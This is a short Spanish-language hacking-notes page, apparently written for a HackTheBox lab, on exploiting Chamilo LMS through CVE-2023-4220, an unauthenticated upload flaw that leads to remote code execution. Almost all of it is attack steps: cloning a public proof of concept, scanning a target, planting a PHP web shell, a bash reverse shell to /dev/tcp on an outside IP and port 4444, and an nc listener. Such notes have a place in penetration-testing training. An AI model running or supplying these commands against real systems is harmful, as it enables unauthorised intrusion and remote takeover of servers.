> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/chamilo-cms-exploitation.md).
# Chamilo
Notas de explotación de Chamilo LMS para RCE por carga de archivos no autenticada CVE-2023-4220, despliegue de web shell PHP, ejecución de comandos y acceso mediante shell inversa.
## Vulnerabilidad en Chamilo /\[CVE-2023-4220]
Chamilo es vulnerable a CVE-2023-4220, lo que permite la ejecución remota de código (RCE). Usa el siguiente proof of concept público:
{% embed url="" %}
#### Clona el repositorio de GitHub:
```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```
2. Ejecuta una comprobación para confirmar si el objetivo es vulnerable:
```bash
python3 main.py -u http://example.com/chamilo -a scan
```
### Web shell:
Si la vulnerabilidad está presente, inyecta una **web shell PHP** en Chamilo:
```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```
Una vez inyectada la web shell, se pueden ejecutar comandos en el objetivo.
### Reverse shell:
Para establecer una reverse shell y obtener acceso a la máquina, ejecuta el siguiente comando desde tu terminal:
```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```
Luego inicia un listener en el puerto 4444:
```bash
nc -nlvp 4444
```
---
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